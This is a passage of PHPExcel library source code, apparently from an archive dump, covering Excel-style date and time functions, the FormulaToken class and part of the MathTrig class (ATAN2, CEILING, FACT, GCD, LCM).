PHPExcel_Calculation_Functions::flattenSingleValue($startDate); $endDays = PHPExcel_Calculation_Functions::flattenSingleValue($endDays); // Flush the mandatory start date and days that are referenced in the function definition, and get the optional days $dateArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); array_shift($dateArgs); array_shift($dateArgs); if ((is_string($startDate = self::getDateValue($startDate))) || (!is_numeric($endDays))) { return PHPExcel_Calculation_Functions::VALUE(); } $startDate = (float) floor($startDate); $endDays = (int) floor($endDays); // If endDays is 0, we always return startDate if ($endDays == 0) { return $startDate; } $decrementing = ($endDays < 0) ? true : false; // Adjust the start date if it falls over a weekend $startDoW = self::DAYOFWEEK($startDate, 3); if (self::DAYOFWEEK($startDate, 3) >= 5) { $startDate += ($decrementing) ? -$startDoW + 4: 7 - $startDoW; ($decrementing) ? $endDays++ : $endDays--; } // Add endDays $endDate = (float) $startDate + (intval($endDays / 5) * 7) + ($endDays % 5); // Adjust the calculated end date if it falls over a weekend $endDoW = self::DAYOFWEEK($endDate, 3); if ($endDoW >= 5) { $endDate += ($decrementing) ? -$endDoW + 4: 7 - $endDoW; } // Test any extra holiday parameters if (!empty($dateArgs)) { $holidayCountedArray = $holidayDates = array(); foreach ($dateArgs as $holidayDate) { if (($holidayDate !== null) && (trim($holidayDate) > '')) { if (is_string($holidayDate = self::getDateValue($holidayDate))) { return PHPExcel_Calculation_Functions::VALUE(); } if (self::DAYOFWEEK($holidayDate, 3) < 5) { $holidayDates[] = $holidayDate; } } } if ($decrementing) { rsort($holidayDates, SORT_NUMERIC); } else { sort($holidayDates, SORT_NUMERIC); } foreach ($holidayDates as $holidayDate) { if ($decrementing) { if (($holidayDate <= $startDate) && ($holidayDate >= $endDate)) { if (!in_array($holidayDate, $holidayCountedArray)) { --$endDate; $holidayCountedArray[] = $holidayDate; } } } else { if (($holidayDate >= $startDate) && ($holidayDate <= $endDate)) { if (!in_array($holidayDate, $holidayCountedArray)) { ++$endDate; $holidayCountedArray[] = $holidayDate; } } } // Adjust the calculated end date if it falls over a weekend $endDoW = self::DAYOFWEEK($endDate, 3); if ($endDoW >= 5) { $endDate += ($decrementing) ? -$endDoW + 4 : 7 - $endDoW; } } } switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) $endDate; case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP($endDate); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return PHPExcel_Shared_Date::ExcelToPHPObject($endDate); } } /** * DAYOFMONTH * * Returns the day of the month, for a specified date. The day is given as an integer * ranging from 1 to 31. * * Excel Function: * DAY(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @return int Day of the month */ public static function DAYOFMONTH($dateValue = 1) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); if ($dateValue === null) { $dateValue = 1; } elseif (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($dateValue == 0.0) { return 0; } elseif ($dateValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); return (int) $PHPDateObject->format('j'); } /** * DAYOFWEEK * * Returns the day of the week for a specified date. The day is given as an integer * ranging from 0 to 7 (dependent on the requested style). * * Excel Function: * WEEKDAY(dateValue[,style]) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param int $style A number that determines the type of return value * 1 or omitted Numbers 1 (Sunday) through 7 (Saturday). * 2 Numbers 1 (Monday) through 7 (Sunday). * 3 Numbers 0 (Monday) through 6 (Sunday). * @return int Day of the week value */ public static function DAYOFWEEK($dateValue = 1, $style = 1) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); $style = PHPExcel_Calculation_Functions::flattenSingleValue($style); if (!is_numeric($style)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif (($style < 1) || ($style > 3)) { return PHPExcel_Calculation_Functions::NaN(); } $style = floor($style); if ($dateValue === null) { $dateValue = 1; } elseif (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($dateValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); $DoW = $PHPDateObject->format('w'); $firstDay = 1; switch ($style) { case 1: ++$DoW; break; case 2: if ($DoW == 0) { $DoW = 7; } break; case 3: if ($DoW == 0) { $DoW = 7; } $firstDay = 0; --$DoW; break; } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_EXCEL) { // Test for Excel's 1900 leap year, and introduce the error as required if (($PHPDateObject->format('Y') == 1900) && ($PHPDateObject->format('n') <= 2)) { --$DoW; if ($DoW < $firstDay) { $DoW += 7; } } } return (int) $DoW; } /** * WEEKOFYEAR * * Returns the week of the year for a specified date. * The WEEKNUM function considers the week containing January 1 to be the first week of the year. * However, there is a European standard that defines the first week as the one with the majority * of days (four or more) falling in the new year. This means that for years in which there are * three days or less in the first week of January, the WEEKNUM function returns week numbers * that are incorrect according to the European standard. * * Excel Function: * WEEKNUM(dateValue[,style]) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param boolean $method Week begins on Sunday or Monday * 1 or omitted Week begins on Sunday. * 2 Week begins on Monday. * @return int Week Number */ public static function WEEKOFYEAR($dateValue = 1, $method = 1) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); $method = PHPExcel_Calculation_Functions::flattenSingleValue($method); if (!is_numeric($method)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif (($method < 1) || ($method > 2)) { return PHPExcel_Calculation_Functions::NaN(); } $method = floor($method); if ($dateValue === null) { $dateValue = 1; } elseif (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($dateValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); $dayOfYear = $PHPDateObject->format('z'); $dow = $PHPDateObject->format('w'); $PHPDateObject->modify('-' . $dayOfYear . ' days'); $dow = $PHPDateObject->format('w'); $daysInFirstWeek = 7 - (($dow + (2 - $method)) % 7); $dayOfYear -= $daysInFirstWeek; $weekOfYear = ceil($dayOfYear / 7) + 1; return (int) $weekOfYear; } /** * MONTHOFYEAR * * Returns the month of a date represented by a serial number. * The month is given as an integer, ranging from 1 (January) to 12 (December). * * Excel Function: * MONTH(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @return int Month of the year */ public static function MONTHOFYEAR($dateValue = 1) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); if ($dateValue === null) { $dateValue = 1; } elseif (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($dateValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); return (int) $PHPDateObject->format('n'); } /** * YEAR * * Returns the year corresponding to a date. * The year is returned as an integer in the range 1900-9999. * * Excel Function: * YEAR(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @return int Year */ public static function YEAR($dateValue = 1) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); if ($dateValue === null) { $dateValue = 1; } elseif (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($dateValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } // Execute function $PHPDateObject = PHPExcel_Shared_Date::ExcelToPHPObject($dateValue); return (int) $PHPDateObject->format('Y'); } /** * HOUROFDAY * * Returns the hour of a time value. * The hour is given as an integer, ranging from 0 (12:00 A.M.) to 23 (11:00 P.M.). * * Excel Function: * HOUR(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * @return int Hour */ public static function HOUROFDAY($timeValue = 0) { $timeValue = PHPExcel_Calculation_Functions::flattenSingleValue($timeValue); if (!is_numeric($timeValue)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $testVal = strtok($timeValue, '/-: '); if (strlen($testVal) < strlen($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } $timeValue = self::getTimeValue($timeValue); if (is_string($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } // Execute function if ($timeValue >= 1) { $timeValue = fmod($timeValue, 1); } elseif ($timeValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } $timeValue = PHPExcel_Shared_Date::ExcelToPHP($timeValue); return (int) gmdate('G', $timeValue); } /** * MINUTEOFHOUR * * Returns the minutes of a time value. * The minute is given as an integer, ranging from 0 to 59. * * Excel Function: * MINUTE(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * @return int Minute */ public static function MINUTEOFHOUR($timeValue = 0) { $timeValue = $timeTester = PHPExcel_Calculation_Functions::flattenSingleValue($timeValue); if (!is_numeric($timeValue)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $testVal = strtok($timeValue, '/-: '); if (strlen($testVal) < strlen($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } $timeValue = self::getTimeValue($timeValue); if (is_string($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } // Execute function if ($timeValue >= 1) { $timeValue = fmod($timeValue, 1); } elseif ($timeValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } $timeValue = PHPExcel_Shared_Date::ExcelToPHP($timeValue); return (int) gmdate('i', $timeValue); } /** * SECONDOFMINUTE * * Returns the seconds of a time value. * The second is given as an integer in the range 0 (zero) to 59. * * Excel Function: * SECOND(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * @return int Second */ public static function SECONDOFMINUTE($timeValue = 0) { $timeValue = PHPExcel_Calculation_Functions::flattenSingleValue($timeValue); if (!is_numeric($timeValue)) { if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { $testVal = strtok($timeValue, '/-: '); if (strlen($testVal) < strlen($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } $timeValue = self::getTimeValue($timeValue); if (is_string($timeValue)) { return PHPExcel_Calculation_Functions::VALUE(); } } // Execute function if ($timeValue >= 1) { $timeValue = fmod($timeValue, 1); } elseif ($timeValue < 0.0) { return PHPExcel_Calculation_Functions::NaN(); } $timeValue = PHPExcel_Shared_Date::ExcelToPHP($timeValue); return (int) gmdate('s', $timeValue); } /** * EDATE * * Returns the serial number that represents the date that is the indicated number of months * before or after a specified date (the start_date). * Use EDATE to calculate maturity dates or due dates that fall on the same day of the month * as the date of issue. * * Excel Function: * EDATE(dateValue,adjustmentMonths) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param int $adjustmentMonths The number of months before or after start_date. * A positive value for months yields a future date; * a negative value yields a past date. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function EDATE($dateValue = 1, $adjustmentMonths = 0) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); $adjustmentMonths = PHPExcel_Calculation_Functions::flattenSingleValue($adjustmentMonths); if (!is_numeric($adjustmentMonths)) { return PHPExcel_Calculation_Functions::VALUE(); } $adjustmentMonths = floor($adjustmentMonths); if (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } // Execute function $PHPDateObject = self::adjustDateByMonths($dateValue, $adjustmentMonths); switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) PHPExcel_Shared_Date::PHPToExcel($PHPDateObject); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP(PHPExcel_Shared_Date::PHPToExcel($PHPDateObject)); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return $PHPDateObject; } } /** * EOMONTH * * Returns the date value for the last day of the month that is the indicated number of months * before or after start_date. * Use EOMONTH to calculate maturity dates or due dates that fall on the last day of the month. * * Excel Function: * EOMONTH(dateValue,adjustmentMonths) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * @param int $adjustmentMonths The number of months before or after start_date. * A positive value for months yields a future date; * a negative value yields a past date. * @return mixed Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function EOMONTH($dateValue = 1, $adjustmentMonths = 0) { $dateValue = PHPExcel_Calculation_Functions::flattenSingleValue($dateValue); $adjustmentMonths = PHPExcel_Calculation_Functions::flattenSingleValue($adjustmentMonths); if (!is_numeric($adjustmentMonths)) { return PHPExcel_Calculation_Functions::VALUE(); } $adjustmentMonths = floor($adjustmentMonths); if (is_string($dateValue = self::getDateValue($dateValue))) { return PHPExcel_Calculation_Functions::VALUE(); } // Execute function $PHPDateObject = self::adjustDateByMonths($dateValue, $adjustmentMonths+1); $adjustDays = (int) $PHPDateObject->format('d'); $adjustDaysString = '-' . $adjustDays . ' days'; $PHPDateObject->modify($adjustDaysString); switch (PHPExcel_Calculation_Functions::getReturnDateType()) { case PHPExcel_Calculation_Functions::RETURNDATE_EXCEL: return (float) PHPExcel_Shared_Date::PHPToExcel($PHPDateObject); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC: return (integer) PHPExcel_Shared_Date::ExcelToPHP(PHPExcel_Shared_Date::PHPToExcel($PHPDateObject)); case PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT: return $PHPDateObject; } } } PHPExcel/Calculation/FormulaToken.php 0000644 00000013031 14642534107 0013535 0 ustar 00 <?php /* PARTLY BASED ON: Copyright (c) 2007 E. W. Bachtal, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software. http://ewbi.blogs.com/develops/2007/03/excel_formula_p.html http://ewbi.blogs.com/develops/2004/12/excel_formula_p.html */ /** * PHPExcel_Calculation_FormulaToken * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_FormulaToken { /* Token types */ const TOKEN_TYPE_NOOP = 'Noop'; const TOKEN_TYPE_OPERAND = 'Operand'; const TOKEN_TYPE_FUNCTION = 'Function'; const TOKEN_TYPE_SUBEXPRESSION = 'Subexpression'; const TOKEN_TYPE_ARGUMENT = 'Argument'; const TOKEN_TYPE_OPERATORPREFIX = 'OperatorPrefix'; const TOKEN_TYPE_OPERATORINFIX = 'OperatorInfix'; const TOKEN_TYPE_OPERATORPOSTFIX = 'OperatorPostfix'; const TOKEN_TYPE_WHITESPACE = 'Whitespace'; const TOKEN_TYPE_UNKNOWN = 'Unknown'; /* Token subtypes */ const TOKEN_SUBTYPE_NOTHING = 'Nothing'; const TOKEN_SUBTYPE_START = 'Start'; const TOKEN_SUBTYPE_STOP = 'Stop'; const TOKEN_SUBTYPE_TEXT = 'Text'; const TOKEN_SUBTYPE_NUMBER = 'Number'; const TOKEN_SUBTYPE_LOGICAL = 'Logical'; const TOKEN_SUBTYPE_ERROR = 'Error'; const TOKEN_SUBTYPE_RANGE = 'Range'; const TOKEN_SUBTYPE_MATH = 'Math'; const TOKEN_SUBTYPE_CONCATENATION = 'Concatenation'; const TOKEN_SUBTYPE_INTERSECTION = 'Intersection'; const TOKEN_SUBTYPE_UNION = 'Union'; /** * Value * * @var string */ private $value; /** * Token Type (represented by TOKEN_TYPE_*) * * @var string */ private $tokenType; /** * Token SubType (represented by TOKEN_SUBTYPE_*) * * @var string */ private $tokenSubType; /** * Create a new PHPExcel_Calculation_FormulaToken * * @param string $pValue * @param string $pTokenType Token type (represented by TOKEN_TYPE_*) * @param string $pTokenSubType Token Subtype (represented by TOKEN_SUBTYPE_*) */ public function __construct($pValue, $pTokenType = PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN, $pTokenSubType = PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_NOTHING) { // Initialise values $this->value = $pValue; $this->tokenType = $pTokenType; $this->tokenSubType = $pTokenSubType; } /** * Get Value * * @return string */ public function getValue() { return $this->value; } /** * Set Value * * @param string $value */ public function setValue($value) { $this->value = $value; } /** * Get Token Type (represented by TOKEN_TYPE_*) * * @return string */ public function getTokenType() { return $this->tokenType; } /** * Set Token Type * * @param string $value */ public function setTokenType($value = PHPExcel_Calculation_FormulaToken::TOKEN_TYPE_UNKNOWN) { $this->tokenType = $value; } /** * Get Token SubType (represented by TOKEN_SUBTYPE_*) * * @return string */ public function getTokenSubType() { return $this->tokenSubType; } /** * Set Token SubType * * @param string $value */ public function setTokenSubType($value = PHPExcel_Calculation_FormulaToken::TOKEN_SUBTYPE_NOTHING) { $this->tokenSubType = $value; } } PHPExcel/Calculation/MathTrig.php 0000644 00000136172 14642534107 0012662 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_MathTrig * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_MathTrig { // // Private method to return an array of the factors of the input value // private static function factors($value) { $startVal = floor(sqrt($value)); $factorArray = array(); for ($i = $startVal; $i > 1; --$i) { if (($value % $i) == 0) { $factorArray = array_merge($factorArray, self::factors($value / $i)); $factorArray = array_merge($factorArray, self::factors($i)); if ($i <= sqrt($value)) { break; } } } if (!empty($factorArray)) { rsort($factorArray); return $factorArray; } else { return array((integer) $value); } } private static function romanCut($num, $n) { return ($num - ($num % $n ) ) / $n; } /** * ATAN2 * * This function calculates the arc tangent of the two variables x and y. It is similar to * calculating the arc tangent of y ÷ x, except that the signs of both arguments are used * to determine the quadrant of the result. * The arctangent is the angle from the x-axis to a line containing the origin (0, 0) and a * point with coordinates (xCoordinate, yCoordinate). The angle is given in radians between * -pi and pi, excluding -pi. * * Note that the Excel ATAN2() function accepts its arguments in the reverse order to the standard * PHP atan2() function, so we need to reverse them here before calling the PHP atan() function. * * Excel Function: * ATAN2(xCoordinate,yCoordinate) * * @access public * @category Mathematical and Trigonometric Functions * @param float $xCoordinate The x-coordinate of the point. * @param float $yCoordinate The y-coordinate of the point. * @return float The inverse tangent of the specified x- and y-coordinates. */ public static function ATAN2($xCoordinate = null, $yCoordinate = null) { $xCoordinate = PHPExcel_Calculation_Functions::flattenSingleValue($xCoordinate); $yCoordinate = PHPExcel_Calculation_Functions::flattenSingleValue($yCoordinate); $xCoordinate = ($xCoordinate !== null) ? $xCoordinate : 0.0; $yCoordinate = ($yCoordinate !== null) ? $yCoordinate : 0.0; if (((is_numeric($xCoordinate)) || (is_bool($xCoordinate))) && ((is_numeric($yCoordinate))) || (is_bool($yCoordinate))) { $xCoordinate = (float) $xCoordinate; $yCoordinate = (float) $yCoordinate; if (($xCoordinate == 0) && ($yCoordinate == 0)) { return PHPExcel_Calculation_Functions::DIV0(); } return atan2($yCoordinate, $xCoordinate); } return PHPExcel_Calculation_Functions::VALUE(); } /** * CEILING * * Returns number rounded up, away from zero, to the nearest multiple of significance. * For example, if you want to avoid using pennies in your prices and your product is * priced at $4.42, use the formula =CEILING(4.42,0.05) to round prices up to the * nearest nickel. * * Excel Function: * CEILING(number[,significance]) * * @access public * @category Mathematical and Trigonometric Functions * @param float $number The number you want to round. * @param float $significance The multiple to which you want to round. * @return float Rounded Number */ public static function CEILING($number, $significance = null) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $significance = PHPExcel_Calculation_Functions::flattenSingleValue($significance); if ((is_null($significance)) && (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC)) { $significance = $number / abs($number); } if ((is_numeric($number)) && (is_numeric($significance))) { if (($number == 0.0 ) || ($significance == 0.0)) { return 0.0; } elseif (self::SIGN($number) == self::SIGN($significance)) { return ceil($number / $significance) * $significance; } else { return PHPExcel_Calculation_Functions::NaN(); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * COMBIN * * Returns the number of combinations for a given number of items. Use COMBIN to * determine the total possible number of groups for a given number of items. * * Excel Function: * COMBIN(numObjs,numInSet) * * @access public * @category Mathematical and Trigonometric Functions * @param int $numObjs Number of different objects * @param int $numInSet Number of objects in each combination * @return int Number of combinations */ public static function COMBIN($numObjs, $numInSet) { $numObjs = PHPExcel_Calculation_Functions::flattenSingleValue($numObjs); $numInSet = PHPExcel_Calculation_Functions::flattenSingleValue($numInSet); if ((is_numeric($numObjs)) && (is_numeric($numInSet))) { if ($numObjs < $numInSet) { return PHPExcel_Calculation_Functions::NaN(); } elseif ($numInSet < 0) { return PHPExcel_Calculation_Functions::NaN(); } return round(self::FACT($numObjs) / self::FACT($numObjs - $numInSet)) / self::FACT($numInSet); } return PHPExcel_Calculation_Functions::VALUE(); } /** * EVEN * * Returns number rounded up to the nearest even integer. * You can use this function for processing items that come in twos. For example, * a packing crate accepts rows of one or two items. The crate is full when * the number of items, rounded up to the nearest two, matches the crate's * capacity. * * Excel Function: * EVEN(number) * * @access public * @category Mathematical and Trigonometric Functions * @param float $number Number to round * @return int Rounded Number */ public static function EVEN($number) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); if (is_null($number)) { return 0; } elseif (is_bool($number)) { $number = (int) $number; } if (is_numeric($number)) { $significance = 2 * self::SIGN($number); return (int) self::CEILING($number, $significance); } return PHPExcel_Calculation_Functions::VALUE(); } /** * FACT * * Returns the factorial of a number. * The factorial of a number is equal to 1*2*3*...* number. * * Excel Function: * FACT(factVal) * * @access public * @category Mathematical and Trigonometric Functions * @param float $factVal Factorial Value * @return int Factorial */ public static function FACT($factVal) { $factVal = PHPExcel_Calculation_Functions::flattenSingleValue($factVal); if (is_numeric($factVal)) { if ($factVal < 0) { return PHPExcel_Calculation_Functions::NaN(); } $factLoop = floor($factVal); if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { if ($factVal > $factLoop) { return PHPExcel_Calculation_Functions::NaN(); } } $factorial = 1; while ($factLoop > 1) { $factorial *= $factLoop--; } return $factorial ; } return PHPExcel_Calculation_Functions::VALUE(); } /** * FACTDOUBLE * * Returns the double factorial of a number. * * Excel Function: * FACTDOUBLE(factVal) * * @access public * @category Mathematical and Trigonometric Functions * @param float $factVal Factorial Value * @return int Double Factorial */ public static function FACTDOUBLE($factVal) { $factLoop = PHPExcel_Calculation_Functions::flattenSingleValue($factVal); if (is_numeric($factLoop)) { $factLoop = floor($factLoop); if ($factVal < 0) { return PHPExcel_Calculation_Functions::NaN(); } $factorial = 1; while ($factLoop > 1) { $factorial *= $factLoop--; --$factLoop; } return $factorial ; } return PHPExcel_Calculation_Functions::VALUE(); } /** * FLOOR * * Rounds number down, toward zero, to the nearest multiple of significance. * * Excel Function: * FLOOR(number[,significance]) * * @access public * @category Mathematical and Trigonometric Functions * @param float $number Number to round * @param float $significance Significance * @return float Rounded Number */ public static function FLOOR($number, $significance = null) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); $significance = PHPExcel_Calculation_Functions::flattenSingleValue($significance); if ((is_null($significance)) && (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC)) { $significance = $number/abs($number); } if ((is_numeric($number)) && (is_numeric($significance))) { if ($significance == 0.0) { return PHPExcel_Calculation_Functions::DIV0(); } elseif ($number == 0.0) { return 0.0; } elseif (self::SIGN($number) == self::SIGN($significance)) { return floor($number / $significance) * $significance; } else { return PHPExcel_Calculation_Functions::NaN(); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * GCD * * Returns the greatest common divisor of a series of numbers. * The greatest common divisor is the largest integer that divides both * number1 and number2 without a remainder. * * Excel Function: * GCD(number1[,number2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return integer Greatest Common Divisor */ public static function GCD() { $returnValue = 1; $allValuesFactors = array(); // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $value) { if (!is_numeric($value)) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ($value == 0) { continue; } elseif ($value < 0) { return PHPExcel_Calculation_Functions::NaN(); } $myFactors = self::factors($value); $myCountedFactors = array_count_values($myFactors); $allValuesFactors[] = $myCountedFactors; } $allValuesCount = count($allValuesFactors); if ($allValuesCount == 0) { return 0; } $mergedArray = $allValuesFactors[0]; for ($i=1; $i < $allValuesCount; ++$i) { $mergedArray = array_intersect_key($mergedArray, $allValuesFactors[$i]); } $mergedArrayValues = count($mergedArray); if ($mergedArrayValues == 0) { return $returnValue; } elseif ($mergedArrayValues > 1) { foreach ($mergedArray as $mergedKey => $mergedValue) { foreach ($allValuesFactors as $highestPowerTest) { foreach ($highestPowerTest as $testKey => $testValue) { if (($testKey == $mergedKey) && ($testValue < $mergedValue)) { $mergedArray[$mergedKey] = $testValue; $mergedValue = $testValue; } } } } $returnValue = 1; foreach ($mergedArray as $key => $value) { $returnValue *= pow($key, $value); } return $returnValue; } else { $keys = array_keys($mergedArray); $key = $keys[0]; $value = $mergedArray[$key]; foreach ($allValuesFactors as $testValue) { foreach ($testValue as $mergedKey => $mergedValue) { if (($mergedKey == $key) && ($mergedValue < $value)) { $value = $mergedValue; } } } return pow($key, $value); } } /** * INT * * Casts a floating point value to an integer * * Excel Function: * INT(number) * * @access public * @category Mathematical and Trigonometric Functions * @param float $number Number to cast to an integer * @return integer Integer value */ public static function INT($number) { $number = PHPExcel_Calculation_Functions::flattenSingleValue($number); if (is_null($number)) { return 0; } elseif (is_bool($number)) { return (int) $number; } if (is_numeric($number)) { return (int) floor($number); } return PHPExcel_Calculation_Functions::VALUE(); } /** * LCM * * Returns the lowest common multiplier of a series of numbers * The least common multiple is the smallest positive integer that is a multiple * of all integer arguments number1, number2, and so on. Use LCM to add fractions * with different denominators. * * Excel Function: * LCM(number1[,number2[, ...]]) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @return int Lowest Common Multiplier */ public static function LCM() { $returnValue = 1; $allPoweredFactors = array(); // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArray(func_get_args()) as $value) { if (!is_numeric($value)) { return PHPExcel_Calculation_Functions::VALUE(); } if ($value == 0) { return 0; } elseif ($value < 0) { return PHPExcel_Calculation_Functions::NaN(); } $myFactors = self::factors(floor($value)); $myCountedFactors = array_count_values($myFactors); $myPoweredFactors = array(); foreach ($myCountedFactors as $myCountedFactor => $myCountedPower) { $myPoweredFactors[$myCountedFactor] = pow($myCountedFactor, $myCountedPower); } foreach ($myPoweredFactors as $myPoweredValue => $myPoweredFactor) { if (array_key_exists($myPoweredValue, $allPoweredFactors)) { if ($allPoweredFactors[$myPoweredValue] < $myPoweredFactor) { 